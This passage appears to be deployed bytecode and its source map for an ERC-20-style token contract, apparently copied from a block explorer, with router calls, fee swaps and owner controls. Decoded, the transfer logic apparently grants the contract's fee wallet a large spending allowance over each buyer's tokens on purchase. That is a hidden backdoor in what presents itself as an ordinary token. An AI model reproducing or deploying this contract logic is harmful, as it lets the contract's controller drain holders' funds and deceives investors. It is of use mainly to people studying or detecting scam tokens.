50565b5f546001600160a01b031633146105145760405162461bcd60e51b815260040161044590611837565b601354600160a01b900460ff161561056e5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610445565b6013546001600160a01b031663f305d719473061059f816001600160a01b03165f9081526001602052604090205490565b5f806105b25f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610618573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061063d919061186c565b505060125460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610692573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b69190611897565b506013805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146106f95760405162461bcd60e51b815260040161044590611837565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461076a5760405162461bcd60e51b815260040161044590611837565b60405133904780156108fc02915f818181858888f19350505050158015610793573d5f803e3d5ffd5b50565b5f610459338484610c0c565b5f546001600160a01b031633146107cb5760405162461bcd60e51b815260040161044590611837565b6107d76009600a611812565b6107e6906461f313f880611820565b6005556107f56009600a611812565b610804906461f313f880611820565b600655600480546001600160a01b0319166001600160a01b0383169081179091555f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61086a6009600a611812565b610879906461f313f880611820565b60405190815260200160405180910390a150565b5f546001600160a01b031633146108b65760405162461bcd60e51b815260040161044590611837565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556109009030906108f16009600a611812565b6104dc906461f313f880611820565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610950573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061097491906118b6565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109d3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109f791906118b6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610a41573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a6591906118b6565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b03163314610ab05760405162461bcd60e51b815260040161044590611837565b600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b6001600160a01b038316610b4b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610445565b6001600160a01b038216610bac5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610445565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c705760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610445565b6001600160a01b038216610cd25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610445565b5f8111610d335760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610445565b6013545f90600160b01b900460ff161580610d575750601354600160a81b900460ff165b15610e0f576001600160a01b0384165f90815260016020526040902054610d7f9083906118d1565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610dae9083906118e4565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e019086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610e3957505f546001600160a01b03848116911614155b1561109a576011545f03610e6157600d5460115411610e5a57600954610e5e565b600b545b90505b60115415610e6e57506010545b6012546001600160a01b038581169116148015610e9957506013546001600160a01b03848116911614155b8015610ebd57506001600160a01b0383165f9081526003602052604090205460ff16155b15610fc457600554821115610f145760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d6178416d6f756e7448482e000000000000006044820152606401610445565b60065482610f36856001600160a01b03165f9081526001602052604090205490565b610f4091906118e4565b1115610f8e5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610445565b600d5460115411610fa157600954610fa5565b600b545b601180549192505f610fb6836118f7565b9190505550610fc484611229565b6012546001600160a01b038481169116148015610fea57506001600160a01b0384163014155b1561100957600e546011541161100257600a54611006565b600c545b90505b305f90815260016020526040902054601354600160a81b900460ff1615801561103f57506012546001600160a01b038581169116145b80156110545750601354600160b01b900460ff165b15611098576007548111801561106d5750600f54601154115b1561108f5761108f61108a84611085846008546112b8565b6112b8565b6112cf565b6110984761143f565b505b5f811561112b576110b660646110b0858561147a565b906114f8565b305f908152600160205260409020549091506110d29082611539565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111229085815260200190565b60405180910390a35b6001600160a01b0385165f9081526001602052604090205461114d9084611597565b6001600160a01b0386165f908152600160205260409020556111906111728483611597565b6001600160a01b0386165f9081526001602052604090205490611539565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111d98685611597565b60405190815260200160405180910390a35050505050565b5f81848411156112145760405162461bcd60e51b81526004016104459190611604565b505f61122084866118d1565b95945050505050565b604080518082019091526001600160a01b0380831682526004541660208201526112556009600a611812565b611264906461f313f880611820565b61126f9060646118e4565b61127b9061012c611820565b611287906103e86118e4565b81516001600160a01b039081165f908152600260209081526040808320958201519093168252939093529091205550565b5f8183116112c657826112c8565b815b9392505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106113155761131561190f565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561136c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061139091906118b6565b816001815181106113a3576113a361190f565b6001600160a01b0392831660209182029290920101526013546113c99130911684610ae9565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114019085905f90869030904290600401611923565b5f604051808303815f87803b158015611418575f80fd5b505af115801561142a573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611476573d5f803e3d5ffd5b5050565b5f825f0361148957505f61045d565b5f6114948385611820565b9050826114a18583611994565b146112c85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610445565b5f6112c883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115d8565b5f8061154583856118e4565b9050838110156112c85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610445565b5f6112c883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f1565b5f81836115f85760405162461bcd60e51b81526004016104459190611604565b505f6112208486611994565b5f602080835283518060208501525f5b8181101561163057858101830151858201604001528201611614565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610793575f80fd5b5f8060408385031215611675575f80fd5b823561168081611650565b946020939093013593505050565b5f805f606084860312156116a0575f80fd5b83356116ab81611650565b925060208401356116bb81611650565b929592945050506040919091013590565b5f602082840312156116dc575f80fd5b81356112c881611650565b5f80604083850312156116f8575f80fd5b823561170381611650565b9150602083013561171381611650565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561176c57815f19048211156117525761175261171e565b8085161561175f57918102915b93841c9390800290611737565b509250929050565b5f826117825750600161045d565b8161178e57505f61045d565b81600181146117a457600281146117ae576117ca565b600191505061045d565b60ff8411156117bf576117bf61171e565b50506001821b61045d565b5060208310610133831016604e8410600b84101617156117ed575081810a61045d565b6117f78383611732565b805f190482111561180a5761180a61171e565b029392505050565b5f6112c860ff841683611774565b808202811582820484141761045d5761045d61171e565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f6060848603121561187e575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156118a7575f80fd5b815180151581146112c8575f80fd5b5f602082840312156118c6575f80fd5b81516112c881611650565b8181038181111561045d5761045d61171e565b8082018082111561045d5761045d61171e565b5f600182016119085761190861171e565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119735784516001600160a01b03168352938301939183019160010161194e565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826119ae57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f429c23629ab142ea868aa2ee306044a10be22bb134c8c26be90e0c0c3c45a6464736f6c63430008180033

Deployed Bytecode Sourcemap

3622:8409:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5781:83;;;;;;;;;;-1:-1:-1;5851:5:0;;;;;;;;;;;;-1:-1:-1;;;5851:5:0;;;;5781:83;;;;;;;:::i;:::-;;;;;;;;6606:307;;;;;;;;;;-1:-1:-1;6606:307:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6606:307:0;1023:187:1;4328:47:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4328:47:0;1215:177:1;6052:97:0;;;;;;;;;;;;;:::i;6919:315::-;;;;;;;;;;-1:-1:-1;6919:315:0;;;;;:::i;:::-;;:::i;11208:473::-;;;;;;;;;;;;;:::i;:::-;;5963:83;;;;;;;;;;-1:-1:-1;5963:83:0;;3971:1;2000:36:1;;1988:2;1973:18;5963:83:0;1858:184:1;6155:121:0;;;;;;;;;;-1:-1:-1;6155:121:0;;;;;:::i;:::-;-1:-1:-1;;;;;6248:20:0;6221:7;6248:20;;;:11;:20;;;;;;;6155:121;3467:148;;;;;;;;;;;;;:::i;4217:49::-;;;;;;;;;;;;;;;;4161;;;;;;;;;;;;;;;;3253:79;;;;;;;;;;-1:-1:-1;3291:7:0;3318:6;3253:79;;-1:-1:-1;;;;;3318:6:0;;;2445:51:1;;2433:2;2418:18;3253:79:0;2299:203:1;5870:87:0;;;;;;;;;;-1:-1:-1;5942:7:0;;;;;;;;;;;;-1:-1:-1;;;5942:7:0;;;;5870:87;;10526:111;;;;;;;;;;;;;:::i;6282:167::-;;;;;;;;;;-1:-1:-1;6282:167:0;;;;;:::i;:::-;;:::i;10006:256::-;;;;;;;;;;-1:-1:-1;10006:256:0;;;;;:::i;:::-;;:::i;5405:370::-;;;;;;;;;;;;;:::i;4273:48::-;;;;;;;;;;;;;;;;6455:145;;;;;;;;;;-1:-1:-1;6455:145:0;;;;;:::i;:::-;-1:-1:-1;;;;;6563:20:0;;;6536:7;6563:20;;;:13;:20;;;;;;;;:29;;;;;;;;;;;;;6455:145;10268:146;;;;;;;;;;-1:-1:-1;10268:146:0;;;;;:::i;:::-;;:::i;6606:307::-;6681:4;11922:42;-1:-1:-1;;;;;11984:35:0;;;6751:82;;;;-1:-1:-1;;;6751:82:0;;3362:2:1;6751:82:0;;;3344:21:1;3401:2;3381:18;;;3374:30;3440:34;3420:18;;;3413:62;-1:-1:-1;;;3491:18:1;;;3484:46;3547:19;;6751:82:0;;;;;;;;;6844:39;2154:10;6867:7;6876:6;6844:8;:39::i;:::-;-1:-1:-1;6901:4:0;6606:307;;;;;:::o;6052:97::-;6105:7;4031:13;3971:1;4031:2;:13;:::i;:::-;4016:28;;:12;:28;:::i;:::-;6125:16;;6052:97;:::o;6919:315::-;7017:4;7034:36;7044:6;7052:9;7063:6;7034:9;:36::i;:::-;7081:123;7090:6;2154:10;7112:91;7152:6;7112:91;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7112:21:0;;;;;;:13;:21;;;;;;;;2154:10;7112:35;;;;;;;;;;:39;:91::i;:::-;7081:8;:123::i;:::-;-1:-1:-1;7222:4:0;6919:315;;;;;:::o;11208:473::-;3380:6;;-1:-1:-1;;;;;3380:6:0;2154:10;3380:22;3372:67;;;;-1:-1:-1;;;3372:67:0;;;;;;;:::i;:::-;11271:11:::1;::::0;-1:-1:-1;;;11271:11:0;::::1;;;11270:12;11262:48;;;::::0;-1:-1:-1;;;11262:48:0;;5822:2:1;11262:48:0::1;::::0;::::1;5804:21:1::0;5861:2;5841:18;;;5834:30;5900:25;5880:18;;;5873:53;5943:18;;11262:48:0::1;5620:347:1::0;11262:48:0::1;11321:11;::::0;-1:-1:-1;;;;;11321:11:0::1;:27;11356:21;11401:4;11421:24;11401:4:::0;-1:-1:-1;;;;;6248:20:0;6221:7;6248:20;;;:11;:20;;;;;;;6155:121;11421:24:::1;11460:1;11476::::0;11492:7:::1;3291::::0;3318:6;-1:-1:-1;;;;;3318:6:0;;3253:79;11492:7:::1;11321:219;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11321:219:0;;;-1:-1:-1;;;;;6331:15:1;;;11321:219:0::1;::::0;::::1;6313:34:1::0;6363:18;;;6356:34;;;;6406:18;;;6399:34;;;;6449:18;;;6442:34;6513:15;;;6492:19;;;6485:44;11514:15:0::1;6545:19:1::0;;;6538:35;6247:19;;11321:219:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11558:9:0::1;::::0;11585:11:::1;::::0;11551:63:::1;::::0;-1:-1:-1;;;11551:63:0;;-1:-1:-1;;;;;11585:11:0;;::::1;11551:63;::::0;::::1;7069:51:1::0;-1:-1:-1;;7136:18:1;;;7129:34;11558:9:0;::::1;::::0;-1:-1:-1;11551:25:0::1;::::0;7042:18:1;;11551:63:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11625:11:0::1;:18:::0;;-1:-1:-1;;;;11655:18:0;-1:-1:-1;;;11655:18:0;;;11208:473::o;3467:148::-;3380:6;;-1:-1:-1;;;;;3380:6:0;2154:10;3380:22;3372:67;;;;-1:-1:-1;;;3372:67:0;;;;;;;:::i;:::-;3574:1:::1;3558:6:::0;;3537:40:::1;::::0;-1:-1:-1;;;;;3558:6:0;;::::1;::::0;3537:40:::1;::::0;3574:1;;3537:40:::1;3605:1;3588:19:::0;;-1:-1:-1;;;;;;3588:19:0::1;::::0;;3467:148::o;10526:111::-;3380:6;;-1:-1:-1;;;;;3380:6:0;2154:10;3380:22;3372:67;;;;-1:-1:-1;;;3372:67:0;;;;;;;:::i;:::-;10578:51:::1;::::0;10586:10:::1;::::0;10607:21:::1;10578:51:::0;::::1;;;::::0;::::1;::::0;;;10607:21;10586:10;10578:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10526:111::o:0;6282:167::-;6360:4;6377:42;2154:10;6401:9;6412:6;6377:9;:42::i;10006:256::-;3380:6;;-1:-1:-1;;;;;3380:6:0;2154:10;3380:22;3372:67;;;;-1:-1:-1;;;3372:67:0;;;;;;;:::i;:::-;4031:13:::1;3971:1;4031:2;:13;:::i;:::-;4016:28;::::0;:12:::1;:28;:::i;:::-;10081:12;:24:::0;4031:13:::1;3971:1;4031:2;:13;:::i;:::-;4016:28;::::0;:12:::1;:28;:::i;:::-;10116:12;:22:::0;10149:10:::1;:18:::0;;-1:-1:-1;;;;;;10149:18:0::1;-1:-1:-1::0;;;;;10149:18:0;::::1;::::0;;::::1;::::0;;;-1:-1:-1;10178:24:0;;;:17:::1;:24;::::0;;;;:31;;-1:-1:-1;;10178:31:0::1;-1:-1:-1::0;10178:31:0::1;::::0;;10225:29:::1;4031:13;3971:1;4031:2;:13;:::i;:::-;4016:28;::::0;:12:::1;:28;:::i;:::-;10225:29;::::0;1361:25:1;;;1349:2;1334:18;10225:29:0::1;;;;;;;10006:256:::0;:::o;5405:370::-;3380:6;;-1:-1:-1;;;;;3380:6:0;2154:10;3380:22;3372:67;;;;-1:-1:-1;;;3372:67:0;;;;;;;:::i;:::-;5453:11:::1;:100:::0;;-1:-1:-1;;;;;;5453:100:0::1;5500:42;5453:100:::0;;::::1;::::0;;;5564:56:::1;::::0;5581:4:::1;::::0;4031:13:::1;3971:1;4031:2;:13;:::i;:::-;4016:28;::::0;:12:::1;:28;:::i;5564:56::-;5661:11;;;;;;;;;-1:-1:-1::0;;;;;5661:11:0::1;-1:-1:-1::0;;;;;5661:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5643:51:0::1;;5717:4;5737:11;;;;;;;;;-1:-1:-1::0;;;;;5737:11:0::1;-1:-1:-1::0;;;;;5737:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5643:123;::::0;-1:-1:-1;;;;;;5643:123:0::1;::::0;;;;;;-1:-1:-1;;;;;7942:15:1;;;5643:123:0::1;::::0;::::1;7924:34:1::0;7994:15;;7974:18;;;7967:43;7859:18;;5643:123:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5631:9;:135:::0;;-1:-1:-1;;;;;;5631:135:0::1;-1:-1:-1::0;;;;;5631:135:0;;;::::1;::::0;;;::::1;::::0;;5405:370::o;10268:146::-;3380:6;;-1:-1:-1;;;;;3380:6:0;2154:10;3380:22;3372:67;;;;-1:-1:-1;;;3372:67:0;;;;;;;:::i;:::-;10344:10:::1;:19:::0;;-1:-1:-1;;;;;10344:19:0;;::::1;-1:-1:-1::0;;;;;;10344:19:0;;::::1;::::0;::::1;::::0;;:10:::1;10374:25:::0;;;:17:::1;:25;::::0;;;;:32;;-1:-1:-1;;10374:32:0::1;10344:19:::0;10374:32:::1;::::0;;10268:146::o;7240:337::-;-1:-1:-1;;;;;7333:19:0;;7325:68;;;;-1:-1:-1;;;7325:68:0;;8223:2:1;7325:68:0;;;8205:21:1;8262:2;8242:18;;;8235:30;8301:34;8281:18;;;8274:62;-1:-1:-1;;;8352:18:1;;;8345:34;8396:19;;7325:68:0;8021:400:1;7325:68:0;-1:-1:-1;;;;;7412:21:0;;7404:68;;;;-1:-1:-1;;;7404:68:0;;8628:2:1;7404:68:0;;;8610:21:1;8667:2;8647:18;;;8640:30;8706:34;8686:18;;;8679:62;-1:-1:-1;;;8757:18:1;;;8750:32;8799:19;;7404:68:0;8426:398:1;7404:68:0;-1:-1:-1;;;;;7483:20:0;;;;;;;:13;:20;;;;;;;;:29;;;;;;;;;;;;;:38;;;7537:32;;1361:25:1;;;7537:32:0;;1334:18:1;7537:32:0;;;;;;;7240:337;;;:::o;7767:2233::-;-1:-1:-1;;;;;7857:18:0;;7849:68;;;;-1:-1:-1;;;7849:68:0;;9031:2:1;7849:68:0;;;9013:21:1;9070:2;9050:18;;;9043:30;9109:34;9089:18;;;9082:62;-1:-1:-1;;;9160:18:1;;;9153:35;9205:19;;7849:68:0;8829:401:1;7849:68:0;-1:-1:-1;;;;;7936:16:0;;7928:64;;;;-1:-1:-1;;;7928:64:0;;9437:2:1;7928:64:0;;;9419:21:1;9476:2;9456:18;;;9449:30;9515:34;9495:18;;;9488:62;-1:-1:-1;;;9566:18:1;;;9559:33;9609:19;;7928:64:0;9235:399:1;7928:64:0;8022:1;8011:8;:12;8003:66;;;;-1:-1:-1;;;8003:66:0;;9841:2:1;8003:66:0;;;9823:21:1;9880:2;9860:18;;;9853:30;9919:34;9899:18;;;9892:62;-1:-1:-1;;;9970:18:1;;;9963:39;10019:19;;8003:66:0;9639:405:1;8003:66:0;8112:11;;8080:13;;-1:-1:-1;;;8112:11:0;;;;8111:12;;:22;;-1:-1:-1;8127:6:0;;-1:-1:-1;;;8127:6:0;;;;8111:22;8107:231;;;-1:-1:-1;;;;;8170:17:0;;;;;;:11;:17;;;;;;:28;;8190:8;;8170:28;:::i;:::-;-1:-1:-1;;;;;8150:17:0;;;;;;;:11;:17;;;;;;:48;;;;8231:15;;;;;;;:26;;8249:8;;8231:26;:::i;:::-;-1:-1:-1;;;;;8213:15:0;;;;;;;:11;:15;;;;;;;:44;;;;8277:28;;;;;;;;;;8296:8;1361:25:1;;1349:2;1334:18;;1215:177;8277:28:0;;;;;;;;8320:7;7767:2233;;;:::o;8107:231::-;3291:7;3318:6;-1:-1:-1;;;;;8352:15:0;;;3318:6;;8352:15;;;;:32;;-1:-1:-1;3291:7:0;3318:6;-1:-1:-1;;;;;8371:13:0;;;3318:6;;8371:13;;8352:32;8348:1219;;;8404:9;;8415:1;8404:12;8401:117;;8456:15;;8446:9;;:25;8445:55;;8486:14;;8445:55;;;8473:12;;8445:55;8436:65;;8401:117;8535:9;;:11;8532:70;;-1:-1:-1;8574:12:0;;8532:70;8628:9;;-1:-1:-1;;;;;8620:17:0;;;8628:9;;8620:17;:47;;;;-1:-1:-1;8655:11:0;;-1:-1:-1;;;;;8641:26:0;;;8655:11;;8641:26;;8620:47;:74;;;;-1:-1:-1;;;;;;8673:21:0;;;;;;:17;:21;;;;;;;;8671:23;8620:74;8616:401;;;8735:12;;8723:8;:24;;8715:62;;;;-1:-1:-1;;;8715:62:0;;10514:2:1;8715:62:0;;;10496:21:1;10553:2;10533:18;;;10526:30;10592:27;10572:18;;;10565:55;10637:18;;8715:62:0;10312:349:1;8715:62:0;8832:12;;8820:8;8804:13;8814:2;-1:-1:-1;;;;;6248:20:0;6221:7;6248:20;;;:11;:20;;;;;;;6155:121;8804:13;:24;;;;:::i;:::-;:40;;8796:79;;;;-1:-1:-1;;;8796:79:0;;10868:2:1;8796:79:0;;;10850:21:1;10907:2;10887:18;;;10880:30;10946:28;10926:18;;;10919:56;10992:18;;8796:79:0;10666:350:1;8796:79:0;8914:15;;8904:9;;:25;8903:55;;8944:14;;8903:55;;;8931:12;;8903:55;8979:9;:11;;8894:65;;-1:-1:-1;8979:9:0;:11;;;:::i;:::-;;;;;;8991:10;8996:4;8991;:10::i;:::-;9040:9;;-1:-1:-1;;;;;9034:15:0;;;9040:9;;9034:15;:39;;;;-1:-1:-1;;;;;;9053:20:0;;9068:4;9053:20;;9034:39;9031:147;;;9114:16;;9104:9;;:26;9103:58;;9146:15;;9103:58;;;9132:13;;9103:58;9094:68;;9031:147;9241:4;9192:28;6248:20;;;:11;:20;;;;;;9267:6;;-1:-1:-1;;;9267:6:0;;;;9266:7;:26;;;;-1:-1:-1;9283:9:0;;-1:-1:-1;;;;;9277:15:0;;;9283:9;;9277:15;9266:26;:41;;;;-1:-1:-1;9296:11:0;;-1:-1:-1;;;9296:11:0;;;;9266:41;9262:294;;;9354:11;;9331:20;:34;:68;;;;;9381:18;;9369:9;;:30;9331:68;9328:161;;;9422:67;9432:56;9438:8;9448:39;9454:20;9476:10;;9448:5;:39::i;:::-;9432:5;:56::i;:::-;9422:9;:67::i;:::-;9508:32;9518:21;9508:9;:32::i;:::-;8386:1181;8348:1219;9577:13;9606:9;;9603:208;;9637:28;9661:3;9637:19;:8;9650:5;9637:12;:19::i;:::-;:23;;:28::i;:::-;9727:4;9707:26;;;;:11;:26;;;;;;9631:34;;-1:-1:-1;9707:37:0;;9631:34;9707:30;:37::i;:::-;9700:4;9680:26;;;;:11;:26;;;;;;;:64;;;;9764:35;;-1:-1:-1;;;;;9764:35:0;;;;;;;9793:5;1361:25:1;;1349:2;1334:18;;1215:177;9764:35:0;;;;;;;;9603:208;-1:-1:-1;;;;;9839:17:0;;;;;;:11;:17;;;;;;:31;;9861:8;9839:21;:31::i;:::-;-1:-1:-1;;;;;9821:17:0;;;;;;:11;:17;;;;;:49;9897:40;9917:19;:8;9930:5;9917:12;:19::i;:::-;-1:-1:-1;;;;;9897:15:0;;;;;;:11;:15;;;;;;;:19;:40::i;:::-;-1:-1:-1;;;;;9881:15:0;;;;;;;:11;:15;;;;;:56;;;;9953:39;;;9972:19;:8;9985:5;9972:12;:19::i;:::-;9953:39;;1361:25:1;;;1349:2;1334:18;9953:39:0;;;;;;;7838:2162;;7767:2233;;;:::o;578:190::-;664:7;700:12;692:6;;;;684:29;;;;-1:-1:-1;;;684:29:0;;;;;;;;:::i;:::-;-1:-1:-1;724:9:0;736:5;740:1;736;:5;:::i;:::-;724:17;578:190;-1:-1:-1;;;;;578:190:0:o;7583:178::-;7632:45;;;;;;;;;-1:-1:-1;;;;;7632:45:0;;;;;7666:10;;;7632:45;;;;4031:13;3971:1;4031:2;:13;:::i;:::-;4016:28;;:12;:28;:::i;:::-;7729:13;;7739:3;7729:13;:::i;:::-;7728:25;;7745:7;7728:25;:::i;:::-;7723:30;;:4;:30;:::i;:::-;7702:8;;-1:-1:-1;;;;;7688:23:0;;;;;;;:13;7702:8;7688:23;;;;;;;7712:8;;;;7688:33;;;;;;;;;;;;:65;-1:-1:-1;7583:178:0:o;10420:100::-;10479:7;10506:1;10504;:3;10503:9;;10511:1;10503:9;;;10509:1;10503:9;10496:16;10420:100;-1:-1:-1;;;10420:100:0:o;10738:464::-;5017:6;:13;;-1:-1:-1;;;;5017:13:0;-1:-1:-1;;;5017:13:0;;;10833:16:::1;::::0;;10847:1:::1;10833:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10833:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10833:16:0::1;10809:40;;10878:4;10860;10865:1;10860:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10860:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10904:11:::1;::::0;:18:::1;::::0;;-1:-1:-1;;;10904:18:0;;;;:11;;;::::1;::::0;:16:::1;::::0;:18:::1;::::0;;::::1;::::0;10860:7;;10904:18;;;;;:11;:18:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10894:4;10899:1;10894:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10894:28:0;;::::1;:7;::::0;;::::1;::::0;;;;;:28;10965:11:::1;::::0;10933:58:::1;::::0;10950:4:::1;::::0;10965:11:::1;10979::::0;10933:8:::1;:58::i;:::-;11002:11;::::0;:192:::1;::::0;-1:-1:-1;;;11002:192:0;;-1:-1:-1;;;;;11002:11:0;;::::1;::::0;:62:::1;::::0;:192:::1;::::0;11079:11;;11002::::1;::::0;11121:4;;11148::::1;::::0;11168:15:::1;::::0;11002:192:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5053:6:0;:14;;-1:-1:-1;;;;5053:14:0;;;-1:-1:-1;;;;10738:464:0:o;10643:89::-;10697:10;;:27;;-1:-1:-1;;;;;10697:10:0;;;;:27;;;;;10717:6;;10697:10;:27;:10;:27;10717:6;10697:10;:27;;;;;;;;;;;;;;;;;;;;;10643:89;:::o;776:246::-;834:7;858:1;863;858:6;854:47;;-1:-1:-1;888:1:0;881:8;;854:47;911:9;923:5;927:1;923;:5;:::i;:::-;911:17;-1:-1:-1;956:1:0;947:5;951:1;911:17;947:5;:::i;:::-;:10;939:56;;;;-1:-1:-1;;;939:56:0;;12834:2:1;939:56:0;;;12816:21:1;12873:2;12853:18;;;12846:30;12912:34;12892:18;;;12885:62;-1:-1:-1;;;12963:18:1;;;12956:31;13004:19;;939:56:0;12632:397:1;1030:132:0;1088:7;1115:39;1119:1;1122;1115:39;;;;;;;;;;;;;;;;;:3;:39::i;247:179::-;305:7;;337:5;341:1;337;:5;:::i;:::-;325:17;;366:1;361;:6;;353:46;;;;-1:-1:-1;;;353:46:0;;13236:2:1;353:46:0;;;13218:21:1;13275:2;13255:18;;;13248:30;13314:29;13294:18;;;13287:57;13361:18;;353:46:0;13034:351:1;434:136:0;492:7;519:43;523:1;526;519:43;;;;;;;;;;;;;;;;;:3;:43::i;1170:189::-;1256:7;1291:12;1284:5;1276:28;;;;-1:-1:-1;;;1276:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1315:9:0;1327:5;1331:1;1327;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;88